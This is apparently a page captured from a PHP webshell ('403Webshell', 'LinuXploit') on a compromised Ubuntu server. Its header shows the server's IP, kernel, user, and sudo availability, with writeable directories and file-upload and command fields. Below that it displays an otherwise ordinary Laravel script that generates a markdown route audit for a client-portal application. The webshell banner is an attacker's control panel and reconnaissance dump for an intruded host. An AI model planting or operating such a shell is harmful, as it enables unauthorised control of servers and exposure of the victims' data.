403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/client-portal-laravel/backup/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/client-portal-laravel/backup/scripts/generate-route-audit.php
<?php

/**
 * Route Audit Generator Script
 *
 * This script reads the route list from storage/app/routes.json and generates
 * a comprehensive markdown audit document.
 *
 * Supports subdomain-based routing:
 * - scopeforged.com - Marketing/public pages
 * - admin.scopeforged.com - Admin panel
 * - portal.scopeforged.com - Client portal
 */
$routesFile = __DIR__.'/../storage/app/routes.json';
$outputFile = __DIR__.'/../docs/audits/ROUTE_AUDIT.md';

// Ensure output directory exists
if (! is_dir(dirname($outputFile))) {
    mkdir(dirname($outputFile), 0755, true);
}

// Load routes
$routes = json_decode(file_get_contents($routesFile), true);

if (! $routes) {
    echo "Error: Could not load routes from {$routesFile}\n";
    echo "Run 'php artisan route:list --json > storage/app/routes.json' first.\n";
    exit(1);
}

// Feature doc mappings
$featureDocs = [
    // Core features
    'clients' => 'docs/guides/features/CLIENT_MANAGEMENT.md',
    'projects' => 'docs/guides/features/PROJECT_MANAGEMENT.md',
    'invoices' => 'docs/guides/features/INVOICING.md',
    'recurring-invoices' => 'docs/guides/features/INVOICING.md',
    'files' => 'docs/guides/features/FILE_SHARING.md',
    'uploads' => 'docs/guides/features/FILE_SHARING.md',
    'folders' => 'docs/guides/features/ENHANCED_FILE_MANAGEMENT.md',
    'share-links' => 'docs/guides/features/FILE_SHARING.md',

    // Analytics & Reports
    'analytics' => 'docs/guides/features/ANALYTICS.md',
    'reports' => 'docs/guides/features/REPORTS.md',
    'custom-reports' => 'docs/guides/features/REPORTS.md',
    'shared-reports' => 'docs/guides/features/REPORTS.md',
    'scheduled-reports' => 'docs/guides/features/REPORTS.md',
    'report-schedules' => 'docs/guides/features/REPORTS.md',
    'kpis' => 'docs/guides/features/ANALYTICS.md',
    'kpi-alerts' => 'docs/guides/features/ANALYTICS.md',
    'dashboards' => 'docs/guides/features/ANALYTICS.md',
    'comparisons' => 'docs/guides/features/ANALYTICS.md',
    'drill-down' => 'docs/guides/features/ANALYTICS.md',

    // Time & Resources
    'time' => 'docs/guides/features/TIME_TRACKING.md',
    'time-off' => 'docs/guides/features/TIME_TRACKING.md',
    'timesheets' => 'docs/guides/features/TIME_TRACKING.md',
    'resources' => 'docs/guides/features/RESOURCE_PLANNING.md',
    'allocations' => 'docs/guides/features/RESOURCE_PLANNING.md',

    // Tasks & Projects
    'tasks' => 'docs/guides/features/TASK_MANAGEMENT.md',
    'milestones' => 'docs/guides/features/PROJECT_MANAGEMENT.md',
    'plans' => 'docs/guides/features/PROJECT_MANAGEMENT.md',
    'amendments' => 'docs/guides/features/PROJECT_MANAGEMENT.md',

    // Collaboration
    'collaboration' => 'docs/guides/features/CLIENT_COLLABORATION.md',
    'satisfaction' => 'docs/guides/features/CLIENT_COLLABORATION.md',
    'deliverables' => 'docs/guides/features/CLIENT_COLLABORATION.md',
    'progress' => 'docs/guides/features/CLIENT_COLLABORATION.md',
    'conversations' => 'docs/guides/features/CLIENT_COLLABORATION.md',
    'comments' => 'docs/guides/features/CLIENT_COLLABORATION.md',
    'notes' => 'docs/guides/features/CLIENT_COLLABORATION.md',
    'mentions' => 'docs/guides/features/CLIENT_COLLABORATION.md',
    'surveys' => 'docs/guides/features/CLIENT_COLLABORATION.md',

    // Documents
    'documents' => 'docs/guides/features/DOCUMENT_TEMPLATES.md',
    'templates' => 'docs/guides/features/DOCUMENT_TEMPLATES.md',
    'document-requests' => 'docs/guides/features/DOCUMENT_TEMPLATES.md',
    'document-request-templates' => 'docs/guides/features/DOCUMENT_TEMPLATES.md',
    'pdf' => 'docs/guides/features/PDF_GENERATION.md',
    'pdf-templates' => 'docs/guides/features/PDF_GENERATION.md',
    'pdf-components' => 'docs/guides/features/PDF_GENERATION.md',
    'pdf-fonts' => 'docs/guides/features/PDF_GENERATION.md',
    'sign' => 'docs/guides/features/DOCUMENT_SIGNING.md',

    // Workflows & Automation
    'workflows' => 'docs/guides/features/WORKFLOW_AUTOMATION.md',
    'workflow-templates' => 'docs/guides/features/WORKFLOW_AUTOMATION.md',
    'workflow-executions' => 'docs/guides/features/WORKFLOW_AUTOMATION.md',
    'approvals' => 'docs/guides/features/WORKFLOW_AUTOMATION.md',
    'approval-workflows' => 'docs/guides/features/WORKFLOW_AUTOMATION.md',
    'alert-rules' => 'docs/guides/features/WORKFLOW_AUTOMATION.md',

    // Admin & System
    'settings' => 'docs/guides/features/ADMIN_TOOLS.md',
    'backups' => 'docs/guides/features/ADMIN_TOOLS.md',
    'queues' => 'docs/guides/features/ADMIN_TOOLS.md',
    'failed-jobs' => 'docs/guides/features/ADMIN_TOOLS.md',
    'system' => 'docs/guides/features/ADMIN_TOOLS.md',
    'cache' => 'docs/guides/features/ADMIN_TOOLS.md',
    'imports' => 'docs/guides/features/ADMIN_TOOLS.md',
    'bulk-operations' => 'docs/guides/features/ADMIN_TOOLS.md',
    'tools' => 'docs/guides/features/ADMIN_TOOLS.md',
    'impersonate' => 'docs/guides/features/ADMIN_TOOLS.md',
    'docs' => 'docs/guides/features/ADMIN_TOOLS.md',
    'documentation' => 'docs/guides/features/ADMIN_TOOLS.md',

    // API & Webhooks
    'webhooks' => 'docs/guides/features/WEBHOOKS.md',
    'webhook-deliveries' => 'docs/guides/features/WEBHOOKS.md',
    'api-keys' => 'docs/guides/features/API_MANAGEMENT.md',
    'api-analytics' => 'docs/guides/features/API_MANAGEMENT.md',
    'api-playground' => 'docs/guides/features/API_MANAGEMENT.md',
    'api-sdk' => 'docs/guides/features/API_MANAGEMENT.md',

    // Search & Filters
    'search' => 'docs/guides/features/SEARCH_FILTERING.md',
    'admin-search' => 'docs/guides/features/SEARCH_FILTERING.md',
    'filters' => 'docs/guides/features/SEARCH_FILTERING.md',
    'saved-filters' => 'docs/guides/features/SEARCH_FILTERING.md',

    // Security & Audit
    'audit' => 'docs/guides/features/AUDIT_COMPLIANCE.md',
    'audit-trail' => 'docs/guides/features/AUDIT_COMPLIANCE.md',
    'compliance' => 'docs/guides/features/AUDIT_COMPLIANCE.md',
    'retention' => 'docs/guides/features/AUDIT_COMPLIANCE.md',
    'security' => 'docs/guides/features/SECURITY.md',
    'sessions' => 'docs/guides/features/SECURITY.md',
    'two-factor' => 'docs/guides/features/SECURITY.md',

    // Notifications
    'notifications' => 'docs/guides/features/NOTIFICATIONS.md',
    'unsubscribe' => 'docs/guides/features/NOTIFICATIONS.md',

    // Leads & Discovery
    'leads' => 'docs/guides/features/LEAD_MANAGEMENT.md',
    'discovery' => 'docs/guides/features/DISCOVERY_PROCESS.md',
    'discovery-calls' => 'docs/guides/features/DISCOVERY_PROCESS.md',
    'discovery-questionnaires' => 'docs/guides/features/DISCOVERY_PROCESS.md',

    // Portal specific
    'jobs' => 'docs/guides/features/CLIENT_COLLABORATION.md',

    // Marketing
    'about' => 'docs/guides/features/MARKETING_PAGES.md',
    'services' => 'docs/guides/features/MARKETING_PAGES.md',
    'contact' => 'docs/guides/features/MARKETING_PAGES.md',
    'pricing' => 'docs/guides/features/MARKETING_PAGES.md',
    'process' => 'docs/guides/features/MARKETING_PAGES.md',
    'privacy' => 'docs/guides/features/MARKETING_PAGES.md',
    'terms' => 'docs/guides/features/MARKETING_PAGES.md',
];

// Navigation mappings for common routes
$navigationMappings = [
    // Admin main sections
    'admin.dashboard' => 'Admin Dashboard',
    'admin.clients.index' => 'Main Menu > Clients',
    'admin.clients.create' => 'Main Menu > Clients > New Client button',
    'admin.projects.index' => 'Main Menu > Projects',
    'admin.projects.create' => 'Main Menu > Projects > New Project button',
    'admin.invoices.index' => 'Main Menu > Invoices',
    'admin.invoices.create' => 'Main Menu > Invoices > New Invoice button',
    'admin.recurring-invoices.index' => 'Main Menu > Invoices > Recurring',
    'admin.tasks.index' => 'Main Menu > Tasks',
    'admin.tasks.create' => 'Main Menu > Tasks > New Task button',
    'admin.time.index' => 'Main Menu > Time',
    'admin.timesheets.index' => 'Main Menu > Time > Timesheets',
    'admin.time-off.index' => 'Main Menu > Time > Time Off',
    'admin.resources.index' => 'Main Menu > Resources',
    'admin.allocations.index' => 'Main Menu > Resources > Allocations',
    'admin.analytics.index' => 'Main Menu > Analytics',
    'admin.reports.index' => 'Main Menu > Reports',
    'admin.custom-reports.index' => 'Main Menu > Reports > Custom Reports',
    'admin.files.index' => 'Main Menu > Files',
    'admin.activity.index' => 'Main Menu > Activity',
    'admin.leads.index' => 'Main Menu > Leads',

    // Admin settings & system
    'admin.settings.index' => 'Main Menu > Settings',
    'admin.audit.index' => 'Main Menu > Audit',
    'admin.audit-trail.index' => 'Main Menu > Audit Trail',
    'admin.compliance.index' => 'Main Menu > Compliance',
    'admin.system.health' => 'Main Menu > System > Health',
    'admin.queues.dashboard' => 'Main Menu > Queues',
    'admin.failed-jobs.index' => 'Main Menu > Queues > Failed Jobs',
    'admin.cache.index' => 'Main Menu > System > Cache',
    'admin.backups.index' => 'Main Menu > Backups',

    // Admin API & Webhooks
    'admin.webhooks.index' => 'Main Menu > Webhooks',
    'admin.api-keys.index' => 'Main Menu > API Keys',
    'admin.api-analytics.index' => 'Main Menu > API Analytics',
    'admin.api-playground.index' => 'Main Menu > API > Playground',
    'admin.api-sdk.index' => 'Main Menu > API > SDK',

    // Admin collaboration & workflows
    'admin.notifications.index' => 'Main Menu > Notifications',
    'admin.conversations.index' => 'Main Menu > Conversations',
    'admin.mentions.index' => 'Main Menu > Mentions',
    'admin.workflows.index' => 'Main Menu > Workflows',
    'admin.approval-workflows.index' => 'Main Menu > Approval Workflows',
    'admin.alert-rules.index' => 'Main Menu > Alert Rules',

    // Admin documents & templates
    'admin.templates.index' => 'Main Menu > Templates',
    'admin.pdf-templates.index' => 'Main Menu > PDF Templates',
    'admin.pdf-components.index' => 'Main Menu > PDF Components',
    'admin.pdf-fonts.index' => 'Main Menu > PDF Fonts',
    'admin.document-request-templates.index' => 'Main Menu > Document Request Templates',

    // Admin search & filters
    'admin.security.index' => 'Main Menu > Security',
    'admin.sessions.index' => 'Main Menu > Sessions',
    'admin.retention.index' => 'Main Menu > Data Retention',
    'admin.imports.index' => 'Main Menu > Imports',
    'admin.kpis.index' => 'Main Menu > KPIs',
    'admin.dashboards.index' => 'Main Menu > Dashboards',
    'admin.saved-filters.index' => 'Main Menu > Saved Filters',
    'admin.tools.index' => 'Main Menu > Tools',
    'admin.bulk-operations.index' => 'Main Menu > Bulk Operations',

    // Portal routes
    'portal.dashboard' => 'Portal Dashboard',
    'portal.projects.index' => 'Portal > My Projects',
    'portal.invoices.index' => 'Portal > My Invoices',
    'portal.files.index' => 'Portal > My Files',
    'portal.uploads.index' => 'Portal > My Uploads',
    'portal.conversations.index' => 'Portal > Conversations',
    'portal.discovery.index' => 'Portal > Discovery',
    'portal.jobs.index' => 'Portal > Jobs',
    'portal.settings.index' => 'Portal > Settings',

    // Marketing
    'marketing.home' => 'Marketing Homepage',
    'marketing.about' => 'Marketing > About',
    'marketing.services' => 'Marketing > Services',
    'marketing.contact' => 'Marketing > Contact',
    'marketing.privacy' => 'Marketing > Privacy',
    'marketing.terms' => 'Marketing > Terms',
    'marketing.process' => 'Marketing > Process',
];

// Group routes by section - now including domain-based sections
$sections = [
    // Marketing (scopeforged.com)
    'Marketing - Public Pages' => [],

    // Admin (admin.scopeforged.com)
    'Admin - Dashboard & Activity' => [],
    'Admin - Clients & Leads' => [],
    'Admin - Projects & Plans' => [],
    'Admin - Invoices & Billing' => [],
    'Admin - Tasks & Milestones' => [],
    'Admin - Time & Resources' => [],
    'Admin - Files & Documents' => [],
    'Admin - PDF & Templates' => [],
    'Admin - Analytics & Reports' => [],
    'Admin - Collaboration' => [],
    'Admin - Workflows & Automation' => [],
    'Admin - API & Webhooks' => [],
    'Admin - System & Settings' => [],
    'Admin - Security & Audit' => [],
    'Admin - Search & Filters' => [],
    'Admin - Other' => [],

    // Portal (portal.scopeforged.com)
    'Portal - Dashboard' => [],
    'Portal - Projects & Plans' => [],
    'Portal - Invoices' => [],
    'Portal - Files & Uploads' => [],
    'Portal - Discovery' => [],
    'Portal - Collaboration' => [],
    'Portal - Other' => [],

    // API & Auth (no domain)
    'API - v1' => [],
    'Auth - Login & Registration' => [],
    'Auth - Password & 2FA' => [],
    'Shared - Public Access' => [],
    'Other' => [],
];

function getSection($route)
{
    $uri = $route['uri'];
    $name = $route['name'] ?? '';
    $domain = $route['domain'] ?? '';

    // Marketing domain
    if ($domain === 'scopeforged.com') {
        return 'Marketing - Public Pages';
    }

    // Portal domain
    if ($domain === 'portal.scopeforged.com' || str_starts_with($uri, 'portal/')) {
        if (preg_match('/(dashboard|^\/)/', $uri) && $uri !== '/') {
            return 'Portal - Dashboard';
        }
        if (preg_match('/(projects|plans|amendments|milestones)/', $uri)) {
            return 'Portal - Projects & Plans';
        }
        if (preg_match('/(invoices)/', $uri)) {
            return 'Portal - Invoices';
        }
        if (preg_match('/(files|uploads)/', $uri)) {
            return 'Portal - Files & Uploads';
        }
        if (preg_match('/(discovery|questionnaire)/', $uri)) {
            return 'Portal - Discovery';
        }
        if (preg_match('/(conversations|deliverables|surveys|jobs|document-requests)/', $uri)) {
            return 'Portal - Collaboration';
        }

        return 'Portal - Other';
    }

    // Admin domain
    if ($domain === 'admin.scopeforged.com' || str_starts_with($uri, 'admin/')) {
        if ($uri === '/' || preg_match('/(dashboard|activity)/', $uri)) {
            return 'Admin - Dashboard & Activity';
        }
        if (preg_match('/(clients|leads)/', $uri)) {
            return 'Admin - Clients & Leads';
        }
        if (preg_match('/(projects|plans|amendments|milestones)/', $uri)) {
            return 'Admin - Projects & Plans';
        }
        if (preg_match('/(invoices|recurring-invoices|payments?)/', $uri)) {
            return 'Admin - Invoices & Billing';
        }
        if (preg_match('/(tasks)/', $uri)) {
            return 'Admin - Tasks & Milestones';
        }
        if (preg_match('/(time|timesheets?|time-off|resources|allocations)/', $uri)) {
            return 'Admin - Time & Resources';
        }
        if (preg_match('/(files|folders|share-links)/', $uri)) {
            return 'Admin - Files & Documents';
        }
        if (preg_match('/(pdf|templates|document-request-templates|documents)/', $uri)) {
            return 'Admin - PDF & Templates';
        }
        if (preg_match('/(analytics|reports|kpis|dashboards|custom-reports|comparisons|drill-down|scheduled-reports|shared-reports|report-schedules|widgets)/', $uri)) {
            return 'Admin - Analytics & Reports';
        }
        if (preg_match('/(collaboration|satisfaction|deliverables|progress|conversations|document-requests|comments|notes|mentions|surveys)/', $uri)) {
            return 'Admin - Collaboration';
        }
        if (preg_match('/(workflows|workflow-|approvals|approval-workflows|alert-rules)/', $uri)) {
            return 'Admin - Workflows & Automation';
        }
        if (preg_match('/(webhooks|webhook-|api-keys|api-analytics|api-playground|api-sdk)/', $uri)) {
            return 'Admin - API & Webhooks';
        }
        if (preg_match('/(system|settings|backups|queues|failed-jobs|imports|bulk|cache|tools|docs|documentation|impersonate|users)/', $uri)) {
            return 'Admin - System & Settings';
        }
        if (preg_match('/(audit|compliance|security|sessions|retention)/', $uri)) {
            return 'Admin - Security & Audit';
        }
        if (preg_match('/(search|admin-search|filters|saved-filters)/', $uri)) {
            return 'Admin - Search & Filters';
        }

        return 'Admin - Other';
    }

    // API routes (no domain)
    if (str_starts_with($uri, 'api/')) {
        return 'API - v1';
    }

    // Auth routes
    if (preg_match('/(login|signup|register|logout)/', $uri)) {
        return 'Auth - Login & Registration';
    }
    if (preg_match('/(password|forgot-password|reset-password|confirm-password|verify|two-factor)/', $uri)) {
        return 'Auth - Password & 2FA';
    }

    // Shared/public access routes
    if (preg_match('/(share|sign|unsubscribe)/', $uri)) {
        return 'Shared - Public Access';
    }

    return 'Other';
}

function getDomainLabel($domain)
{
    return match (true) {
        $domain === 'scopeforged.com' || $domain === 'scopeforged.test' => 'marketing',
        str_starts_with($domain, 'admin.') => 'admin',
        str_starts_with($domain, 'portal.') => 'portal',
        $domain === '' || $domain === null => 'main',
        default => $domain,
    };
}

function getRouteType($route)
{
    $uri = $route['uri'];
    if (str_starts_with($uri, 'api/')) {
        return 'API';
    }
    $action = $route['action'] ?? '';
    // If it returns JSON or is a POST/PUT/DELETE without returning a view, it's likely API-like
    if (in_array($route['method'], ['POST', 'PUT', 'PATCH', 'DELETE']) && ! str_contains($action, 'store') && ! str_contains($action, 'update')) {
        return 'API';
    }

    return 'View';
}

function getAccessLevel($route)
{
    $middleware = $route['middleware'] ?? [];
    $domain = $route['domain'] ?? '';
    $uri = $route['uri'];

    // Admin domain requires admin access
    if ($domain === 'admin.scopeforged.com') {
        return 'Admin';
    }

    // Portal domain requires authentication
    if ($domain === 'portal.scopeforged.com') {
        return 'Client';
    }

    // Marketing domain is public
    if ($domain === 'scopeforged.com') {
        return 'Public';
    }

    if (in_array('App\\Http\\Middleware\\EnsureUserIsAdmin', $middleware)) {
        return 'Admin';
    }
    if (in_array('Illuminate\\Auth\\Middleware\\Authenticate', $middleware) || in_array('auth', $middleware)) {
        if (str_starts_with($uri, 'portal/')) {
            return 'Client';
        }

        return 'Authenticated';
    }
    if (str_starts_with($uri, 'api/') && in_array('auth:sanctum', $middleware)) {
        return 'API Auth';
    }

    return 'Public';
}

function getBladeView($route)
{
    if (str_starts_with($route['uri'], 'api/')) {
        return '-';
    }

    $action = $route['action'] ?? '';
    if ($action === 'Closure' || ! str_contains($action, '@')) {
        return '-';
    }

    // Parse controller and method
    $parts = explode('@', $action);
    if (count($parts) !== 2) {
        return '-';
    }

    $controller = str_replace('App\\Http\\Controllers\\', '', $parts[0]);
    $method = $parts[1];

    // Standard CRUD method to view mapping - no view for these
    $noViewMethods = ['store', 'update', 'destroy'];
    if (in_array($method, $noViewMethods)) {
        return '-';
    }

    // Map controllers to their view directories
    $viewMappings = [
        // Admin controllers
        'Admin\\ClientController' => 'admin/clients',
        'Admin\\LeadController' => 'admin/leads',
        'Admin\\ProjectController' => 'admin/projects',
        'Admin\\InvoiceController' => 'admin/invoices',
        'Admin\\RecurringInvoiceController' => 'admin/recurring-invoices',
        'Admin\\TaskController' => 'admin/tasks',
        'Admin\\TimeEntryController' => 'admin/time',
        'Admin\\TimesheetController' => 'admin/timesheets',
        'Admin\\TimeOffController' => 'admin/time-off',
        'Admin\\ResourceController' => 'admin/resources',
        'Admin\\AllocationController' => 'admin/allocations',
        'Admin\\FileController' => 'admin/files',
        'Admin\\FolderController' => 'admin/folders',
        'Admin\\AnalyticsController' => 'admin/analytics',
        'Admin\\ReportController' => 'admin/reports',
        'Admin\\CustomReportController' => 'admin/custom-reports',
        'Admin\\ReportScheduleController' => 'admin/report-schedules',
        'Admin\\SharedReportController' => 'admin/shared-reports',
        'Admin\\ScheduledReportController' => 'admin/scheduled-reports',
        'Admin\\DashboardController' => 'admin/dashboard',
        'Admin\\DashboardBuilderController' => 'admin/dashboards',
        'Admin\\KpiController' => 'admin/kpis',
        'Admin\\ActivityController' => 'admin/activity',
        'Admin\\SettingsController' => 'admin/settings',
        'Admin\\BackupController' => 'admin/backups',
        'Admin\\SystemController' => 'admin/system',
        'Admin\\CacheController' => 'admin/cache',
        'Admin\\QueueDashboardController' => 'admin/queues',
        'Admin\\FailedJobController' => 'admin/failed-jobs',
        'Admin\\WebhookController' => 'admin/webhooks',
        'Admin\\ApiKeyController' => 'admin/api-keys',
        'Admin\\ApiAnalyticsController' => 'admin/api-analytics',
        'Admin\\ApiPlaygroundController' => 'admin/api-playground',
        'Admin\\ApiSdkController' => 'admin/api-sdk',
        'Admin\\NotificationController' => 'admin/notifications',
        'Admin\\AuditLogController' => 'admin/audit',
        'Admin\\AdminAuditController' => 'admin/audit',
        'Admin\\AuditTrailController' => 'admin/audit-trail',
        'Admin\\ComplianceController' => 'admin/compliance',
        'Admin\\ComplianceDashboardController' => 'admin/compliance',
        'Admin\\SecurityAlertController' => 'admin/security',
        'Admin\\SessionController' => 'admin/sessions',
        'Admin\\RetentionPolicyController' => 'admin/retention',
        'Admin\\ConversationController' => 'admin/conversations',
        'Admin\\MentionController' => 'admin/mentions',
        'Admin\\NoteController' => 'admin/notes',
        'Admin\\DocumentTemplateController' => 'admin/documents/templates',
        'Admin\\GeneratedDocumentController' => 'admin/documents',
        'Admin\\PdfTemplateController' => 'admin/pdf-templates',
        'Admin\\PdfComponentController' => 'admin/pdf-components',
        'Admin\\PdfFontController' => 'admin/pdf-fonts',
        'Admin\\DocumentRequestTemplateController' => 'admin/document-request-templates',
        'Admin\\ProjectPlanController' => 'admin/plans',
        'Admin\\WorkflowController' => 'admin/workflows',
        'Admin\\WorkflowApprovalController' => 'admin/approvals',
        'Admin\\ApprovalWorkflowController' => 'admin/approval-workflows',
        'Admin\\AlertRuleController' => 'admin/alert-rules',
        'Admin\\ImportController' => 'admin/imports',
        'Admin\\BulkOperationsController' => 'admin/bulk-operations',
        'Admin\\ToolsController' => 'admin/tools',
        'Admin\\SavedFilterController' => 'admin/saved-filters',
        'Admin\\ComparisonController' => 'admin/analytics/comparisons',
        'Admin\\DrillDownController' => 'admin/analytics/drill-down',
        'Admin\\SatisfactionController' => 'admin/collaboration/satisfaction',
        'Admin\\DeliverableApprovalController' => 'admin/collaboration/deliverables',
        'Admin\\ProjectProgressController' => 'admin/collaboration/progress',
        'Admin\\DocumentRequestController' => 'admin/collaboration/document-requests',
        'Admin\\FileCommentController' => 'admin/collaboration/files',
        'Admin\\AdvancedFilterController' => 'admin/filters',
        'Admin\\SearchAnalyticsController' => 'admin/search',
        'Admin\\AdminSearchController' => 'admin/admin-search',

        // Portal controllers
        'Portal\\DashboardController' => 'portal/dashboard',
        'Portal\\ProjectController' => 'portal/projects',
        'Portal\\InvoiceController' => 'portal/invoices',
        'Portal\\FileController' => 'portal/files',
        'Portal\\UploadController' => 'portal/uploads',
        'Portal\\ConversationController' => 'portal/conversations',
        'Portal\\NotificationController' => 'portal/notifications',
        'Portal\\ProfileController' => 'portal/profile',
        'Portal\\DiscoveryController' => 'portal/discovery',
        'Portal\\JobController' => 'portal/jobs',
        'Portal\\SettingsController' => 'portal/settings',

        // Marketing controllers
        'Marketing\\HomeController' => 'marketing/home',
        'Marketing\\AboutController' => 'marketing/about',
        'Marketing\\ServicesController' => 'marketing/services',
        'Marketing\\ContactController' => 'marketing/contact',
    ];

    // Get controller without 'Controller' suffix for lookup
    $controllerKey = preg_replace('/Controller$/', 'Controller', $controller);
    $viewDir = $viewMappings[$controllerKey] ?? strtolower(str_replace('\\', '/', preg_replace('/Controller$/', '', $controller)));

    // Map method names to view names
    $methodViewMap = [
        'index' => 'index',
        'create' => 'create',
        'show' => 'show',
        'edit' => 'edit',
        'dashboard' => 'dashboard',
    ];

    $viewFile = $methodViewMap[$method] ?? $method;

    return "resources/views/{$viewDir}/{$viewFile}.blade.php";
}

function getFeatureDoc($route)
{
    global $featureDocs;

    $uri = $route['uri'];

    foreach ($featureDocs as $keyword => $doc) {
        if (str_contains($uri, $keyword)) {
            return $doc;
        }
    }

    return '-';
}

function getNavigation($route)
{
    global $navigationMappings;

    $name = $route['name'] ?? '';

    if (isset($navigationMappings[$name])) {
        return $navigationMappings[$name];
    }

    // Generate navigation based on route structure
    $uri = $route['uri'];
    $domain = $route['domain'] ?? '';

    if (str_starts_with($uri, 'api/')) {
        return 'API Endpoint';
    }

    if ($domain === 'scopeforged.com') {
        return 'Marketing Site';
    }

    if (str_contains($name, '.show') || str_contains($name, '.edit')) {
        return 'From list view > Click item';
    }
    if (str_contains($name, '.create')) {
        return 'From list view > Create button';
    }
    if (str_contains($name, '.store') || str_contains($name, '.update') || str_contains($name, '.destroy')) {
        return 'Form submission';
    }

    return '-';
}

// Process routes
foreach ($routes as $route) {
    $section = getSection($route);

    $row = [
        'name' => $route['name'] ?? '-',
        'method' => $route['method'],
        'domain' => getDomainLabel($route['domain'] ?? ''),
        'path' => '/'.$route['uri'],
        'type' => getRouteType($route),
        'access' => getAccessLevel($route),
        'navigation' => getNavigation($route),
        'blade' => getBladeView($route),
        'doc' => getFeatureDoc($route),
    ];

    if (isset($sections[$section])) {
        $sections[$section][] = $row;
    } else {
        $sections['Other'][] = $row;
    }
}

// Count statistics
$stats = [
    'total' => count($routes),
    'marketing' => 0,
    'admin' => 0,
    'portal' => 0,
    'api' => 0,
    'auth' => 0,
    'shared' => 0,
    'other' => 0,
];

foreach ($sections as $name => $routeList) {
    if (str_starts_with($name, 'Marketing')) {
        $stats['marketing'] += count($routeList);
    } elseif (str_starts_with($name, 'Admin')) {
        $stats['admin'] += count($routeList);
    } elseif (str_starts_with($name, 'Portal')) {
        $stats['portal'] += count($routeList);
    } elseif (str_starts_with($name, 'API')) {
        $stats['api'] += count($routeList);
    } elseif (str_starts_with($name, 'Auth')) {
        $stats['auth'] += count($routeList);
    } elseif (str_starts_with($name, 'Shared')) {
        $stats['shared'] += count($routeList);
    } else {
        $stats['other'] += count($routeList);
    }
}

// Generate markdown
$markdown = "# Route Audit\n\n";
$markdown .= 'Generated: '.date('Y-m-d H:i:s')."\n\n";

$markdown .= "## Subdomain Architecture\n\n";
$markdown .= "This application uses subdomain-based routing:\n\n";
$markdown .= "| Subdomain | Purpose | Access |\n";
$markdown .= "|-----------|---------|--------|\n";
$markdown .= "| `scopeforged.com` | Marketing & public pages | Public |\n";
$markdown .= "| `admin.scopeforged.com` | Admin panel | Admin users only |\n";
$markdown .= "| `portal.scopeforged.com` | Client portal | Authenticated clients |\n";
$markdown .= "| (no subdomain) | API, Auth, Shared links | Varies |\n\n";

$markdown .= "## Summary\n\n";
$markdown .= "| Category | Count |\n";
$markdown .= "|----------|-------|\n";
$markdown .= "| **Total Routes** | {$stats['total']} |\n";
$markdown .= "| Marketing Routes | {$stats['marketing']} |\n";
$markdown .= "| Admin Routes | {$stats['admin']} |\n";
$markdown .= "| Portal Routes | {$stats['portal']} |\n";
$markdown .= "| API Routes | {$stats['api']} |\n";
$markdown .= "| Auth Routes | {$stats['auth']} |\n";
$markdown .= "| Shared/Public Routes | {$stats['shared']} |\n";
$markdown .= "| Other Routes | {$stats['other']} |\n\n";

foreach ($sections as $sectionName => $routeList) {
    if (empty($routeList)) {
        continue;
    }

    // Sort routes by name
    usort($routeList, fn ($a, $b) => strcmp($a['name'], $b['name']));

    $markdown .= "## {$sectionName}\n\n";
    $markdown .= "<div style=\"overflow-x: auto;\">\n\n";
    $markdown .= "| Route Name | Method | Domain | Path | Type | Access | Navigation | Feature Doc |\n";
    $markdown .= "|------------|--------|--------|------|------|--------|------------|-------------|\n";

    foreach ($routeList as $route) {
        $name = $route['name'] === '-' ? '-' : "`{$route['name']}`";
        // Escape pipe characters in method to prevent breaking markdown table
        $methodEscaped = str_replace('|', ', ', $route['method']);
        $method = "`{$methodEscaped}`";
        $domain = $route['domain'];

        // Make paths clickable links (for routes without parameters)
        if (! str_contains($route['path'], '{')) {
            $baseUrl = match ($route['domain']) {
                'admin' => 'https://admin.scopeforged.com',
                'portal' => 'https://portal.scopeforged.com',
                'marketing' => 'https://scopeforged.com',
                default => '',
            };
            if ($baseUrl) {
                $path = "[{$route['path']}]({$baseUrl}{$route['path']})";
            } else {
                $path = "`{$route['path']}`";
            }
        } else {
            $path = "`{$route['path']}`";
        }

        $type = $route['type'];
        $access = $route['access'];
        $nav = $route['navigation'];
        $doc = $route['doc'] === '-' ? '-' : "[Link]({$route['doc']})";

        $markdown .= "| {$name} | {$method} | {$domain} | {$path} | {$type} | {$access} | {$nav} | {$doc} |\n";
    }

    $markdown .= "\n</div>\n\n";
}

// Write output
file_put_contents($outputFile, $markdown);

echo "Route audit generated: {$outputFile}\n";
echo "Total routes: {$stats['total']}\n";
echo "  - Marketing: {$stats['marketing']}\n";
echo "  - Admin: {$stats['admin']}\n";
echo "  - Portal: {$stats['portal']}\n";
echo "  - API: {$stats['api']}\n";
echo "  - Auth: {$stats['auth']}\n";
echo "  - Shared: {$stats['shared']}\n";
echo "  - Other: {$stats['other']}\n";

Youez - 2016 - github.com/yon3zu
LinuXploit